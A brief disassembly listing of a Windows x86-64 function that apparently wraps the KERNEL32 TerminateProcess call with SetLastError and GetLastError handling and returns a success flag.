lea rdx, [rbp - 0x40]
cmp dword [rcx], ecx
call fcn.140155a30
mov rcx, qword [rbp + 0x10]
mov rdi, qword [rcx + 8]
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rcx, rdi
mov qword [rbp - 0x4c], rcx
mov edx, esi
mov dword [rbp - 0x44], edx
lea rcx, [rbp - 0x78]
call fcn.140005980
mov rcx, qword [rbp - 0x4c]
mov edx, dword [rbp - 0x44]
call sub.KERNEL32.dll_TerminateProcess
mov esi, eax
lea rcx, [rbp - 0x78]
call fcn.1400059d0
call sub.KERNEL32.dll_GetLastError
mov edi, eax
test esi, esi
setne sil
movzx esi, sil
cmp byte [rbp - 0x40], 0
je 0x140087bdb
mov rcx, qword [rbp + 0x10]
xor edx, edx
call fcn.140155ac0
call fcn.1400037af
mov dword [rax + 8], edi
movzx eax, sil
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret